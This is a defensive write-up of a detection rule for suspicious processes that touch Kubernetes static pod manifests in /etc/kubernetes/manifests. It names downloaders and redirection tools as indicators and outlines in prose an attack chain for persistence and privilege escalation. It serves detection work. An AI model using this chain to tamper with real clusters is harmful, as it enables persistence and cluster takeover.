Kubernetes Static Pod Manifest File Access

This detection rule identifies suspicious process executions on Linux systems where commands, editors, interpreters, or file utilities reference the /etc/kubernetes/manifests directory. This directory is critical to Kubernetes as it stores static pod manifests that the kubelet reads to manage static pods. Unauthorized interaction with these manifests, such as via editors, downloaders (curl, wget), kubectl, redirection helpers (tee, dd), or scripting runtimes (python, perl, ruby), may indicate an attacker is attempting to tamper with the manifests. This could enable persistence or the deployment of privileged workloads within the Kubernetes cluster. This rule complements file-telemetry rules that detect direct creation or modification of manifest files.

Attack Chain

1. An attacker gains initial access to a Kubernetes node or a jump host with access to the node.
2. The attacker uses a command-line tool (e.g., vi, nano, sed) to open or modify a static pod manifest file within /etc/kubernetes/manifests.
3. The attacker might use utilities like curl or wget to download a malicious manifest file into the /etc/kubernetes/manifests directory.
4. Alternatively, the attacker leverages redirection operators like tee or dd to write malicious content into a manifest file.
5. The attacker modifies the manifest to include malicious commands or to mount sensitive host directories into the pod.
6. The kubelet automatically detects the change and recreates the static pod with the modified configuration.
7. The malicious pod executes, granting the attacker persistence within the cluster.
8. The attacker escalates privileges by leveraging the compromised pod to access sensitive resources or data.

Impact

Successful manipulation of static pod manifests allows attackers to achieve persistence within the Kubernetes cluster. This can lead to privilege escalation by deploying pods with elevated permissions, enabling the attacker to access sensitive data, compromise other workloads, or gain control over the entire cluster. This can disrupt services, exfiltrate data, or deploy malicious containers.

Recommendation

• Enable Elastic Defend or Auditd Manager on Linux hosts and ensure process telemetry is collected with command-line arguments to capture process execution events, as specified in the rule’s setup instructions.
• Deploy the Sigma rule “Kubernetes Static Pod Manifest File Access” to your SIEM and tune it for your environment, focusing on reducing false positives related to approved automation and admin sessions.
• Correlate detections from this rule with Kubernetes audit logs and node/agent telemetry for related compromise indicators as mentioned in the rule’s “note” section.
• Investigate any alerts generated by this rule by reviewing the full command line (process.args, process.command_line), user.id, user.name, and process.parent, as recommended in the rule’s “note” section.